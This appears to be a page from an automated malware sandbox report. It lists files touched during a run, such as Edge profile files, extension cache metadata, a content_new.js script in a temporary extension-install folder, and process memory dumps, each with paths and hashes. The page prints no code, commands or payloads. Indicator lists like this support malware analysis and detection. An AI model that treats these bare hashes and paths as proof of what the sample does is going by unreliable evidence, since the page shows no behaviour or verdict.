SSDEEP 768:Hj+9i3YJq5g+cMcvnWgWWR+2SrXH78tRMozn12bfJOU:q9i3iJPWg1bSrotByJOU
TLSH
T178F2BE31A8658DB38CE2D684B6167383BFE411A3C5C91F58C8D88F4E46876DD2B17D2E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Local State

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
Size 43KB
SHA256 10648bbfb0dd3745a6b5cc2886f24485c8a4e027b2365da77f05f30ac2a8360d
MD5 2f9292257b985b8e14756fe5f8c9f9dc
SHA1 d5fd1a9aae25c9f8b3d8ffd39c806ea9120ea107
SHA512 eb43bbfa7d540b6625300ce06fb154aad62f5c0bfd8a703d6089dc15cd8cc083ab6c0036a86ce0a6f9f9e0ebfe42ecce5d768e76ab4666b78cbac7faeb4e619e
SSDEEP 768:YF1j+9i3MwgaiB8+zMcvnWgWWR+2SrXH78tRMozn12bfJOU:V9i3CJPWg1bSrotByJOU
TLSH
T14D1328F198E78972D89E8783673D6E42AEBCC193B5885984B7C44D4DCD831BFC706819
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 252B
SHA256 9ea5bbd4491542e3878ce1dc40d90744197996ad91a29e27be679d4bec62570d
MD5 551baa462724351873ccd655a8b64ea3
SHA1 ce2be3c6d77008467bc61ac14822065cf2376630
SHA512 8de58d8e979531498751d7416c6b10671da1b048181a23081fc15e7aca69a96a93676b3bf01415c3b5f8d1973511e5823b0f11cacddfc3e5d01e82cefedff632
TLSH
T163D095C34D7D12C14FD50F7BD087ACF80480540DE55C2A7A044CD8C04115C1B75C142F
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 132B
SHA256 f4aa1676b1cc0e8c932821d57f7e6ec93246f48d7b840aca2d58ef9fac0ecd03
MD5 f5a3b29f9a977e23d6ca4eb728238f9f
SHA1 d2c5576fff1189eb66493b5b677d79a8ecead68d
SHA512 6f692909efad02642f6c3a4b7cd10b21760c6fbfd3bae39d3b8a77b22460fcd5f6b0ab6e262b007e533c406a981968b3e0894697ca50be7f10bf557f1c1972f3
TLSH
T128C02BD0883D5142CD620D5AC04301F420005C1C641C0A7804C814C0401142F328042E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 492B
SHA256 9107e613905835c00077a499d2faa20bb70b974e6309d1f2f33ae52933318f07
MD5 2012d4de563c653f56f62ccbf46db598
SHA1 fb24881003593f1ceb79019e52ce5ee9e94c889c
SHA512 c03d6584395c1c97c75af7dc6df57df358d3957035521bb6833c538679683aebe0410bb12586472b84dc98111e703984dd37868464fa9c66fdafb423e763b555
TLSH
T10CF00E829C3E25C086E90F7FE44725F840C46517B0883879088DE9D8813A40F11414BE
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\component_crx_cache\metadata.json
Size 372B
SHA256 02092b017b3b45a2cf26673a6a2c3fa2b49ab211943cadade98b98777ee73afc
MD5 2a1939fc3b2926cf2b82fae71c5f6bee
SHA1 3f9d6974ce660bbc0c85f3d9741b734cfd466fac
SHA512 cceb75873ca288bfcb71f5d74fec5ad8ca61807ec55369055f4fbd095fd904097c974102d3296db3a1aa949c6edc5abd1a7c320e53daaf947ee61c28f5659707
TLSH
T1A3E068C29D7D26C196E60F7FD04B69F844C4580AF048697A088DE8C8913A94B258287E
MD5 SHA1 SHA512 TLSH

Submit Download

metadata.json

Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\extensions_crx_cache\metadata.json
Size 13B
SHA256 2771d13c637c267132afff9db67537bef95708534b79ae8d954254c4e64e4e0f
MD5 2aa9e263ee3796d9ce358460a2451b4c
SHA1 7a55d937c0cd1f7543a12be730e4a78d0a14a545
SHA512 4909e73ffd1a777a9f102a8831f6ae5a9091084a2755707363251f39164bb65e22c318972ea59e7155976c6a626691dfa94539ee752f58e31aa16f4de5cdbccf
MD5 SHA1 SHA512

Submit Download

content_new.js

Path C:\Users\Admin\AppData\Local\Temp\scoped_dir1320_569603719\CRX_INSTALL\content_new.js
Size 10KB
SHA256 d4aa4602a1590a4b8a1bce8b8d670264c9fb532adc97a72bc10c43343650385a
MD5 3de1e7d989c232fc1b58f4e32de15d64
SHA1 42b152ea7e7f31a964914f344543b8bf14b5f558
SHA512 177e5bdf3a1149b0229b6297baf7b122602f7bd753f96aa41ccf2d15b2bcf6af368a39bb20336ccce121645ec097f6bedb94666c74acb6174eb728fbfc43bc2a
SSDEEP 192:+ThBV4L3npstQp6VRtROQGZ0UyVg4jq4HWeGBnUi65Ep4HdlyKyjFN3EbmE1F4fn:+ThBVq3npozftROQIyVfjRZGB365Ey9+
TLSH
T1DB22B68DA5A8ED7C1AC0C952E50EA62E5D342531E6E7A30320874ED8015CFB9D519FFD
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/948-322-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/976-295-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1052-271-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1052-237-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1364-458-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1448-508-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1448-514-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1980-326-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1980-374-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/1996-476-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/2124-333-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/3712-345-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4624-437-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4676-278-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4772-512-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/4792-401-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5152-286-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5152-265-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5444-439-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5444-426-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5704-414-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/5840-189-0x0000000000010000-0x0000000000083000-memory.dmp

Download

memory/6072-480-0x0000000000010000-0x0000000000083000-memory.dmp

Download